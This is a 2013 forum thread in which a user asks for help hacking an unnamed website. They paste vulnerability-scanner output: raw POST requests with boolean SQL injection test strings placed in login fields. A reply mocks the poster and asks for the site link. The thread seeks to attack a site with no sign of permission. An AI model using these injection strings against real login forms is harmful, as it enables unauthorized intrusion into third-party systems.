+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: Can I get some help hacking a website? (/Thread-Can-I-get-some-help-hacking-a-website)
Can I get some help hacking a website? - adriancs35 - 09-01-2013
Hi there mates, so if some one can help me that will be perfect, so in last days i was trying to hack a website, I scanned it with acunetix and it revealed 2 Blind SQL injection vulnerabilities, but bad news, i dont know to do a blind injection, so i ask for your help..
Here is what acunetix scanned
1. "/"
Attack details
URL encoded POST input login_password was set to -1' or 23 = '21
Http headers
Request:
POST /?p=home HTTP/1.1
Content-Length: 83
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=hcrmlnghe4lreuhbrall4kfp94
Host: xxxxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
login=Log%20In&login_password=-1%27%20or%2023%20%3d%20%2721&login_username=mrvqsbtb
Response:
HTTP/1.1 200 OK
Date: Sun, 01 Sep 2013 01:23:07 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3979
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html
2. "/index.php"
Attack details
URL encoded POST input login_username was set to -1 or 63 = 61
Http header
Request:
POST /index.php?newsid=1&p=news HTTP/1.1
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=hcrmlnghe4lreuhbrall4kfp94
Host: xxxxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
Response:
HTTP/1.1 200 OK
Date: Sun, 01 Sep 2013 01:25:14 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3895
Keep-Alive: timeout=5, max=55
Connection: Keep-Alive
Content-Type: text/html
So if some one can help me with this i will be very happy, thank you for reading my post.
Thanks in advance
RE: Can i get some help into hacking a website? - Crypt - 09-03-2013
This thread is sad. A. Don't use programs! Acunetix was proven a fake program by many REAL hackers in the past. B. Learn to hack manually and scan manually and quit being a skid and using programs! C. Maybe you should post the fucking link so we can actually help you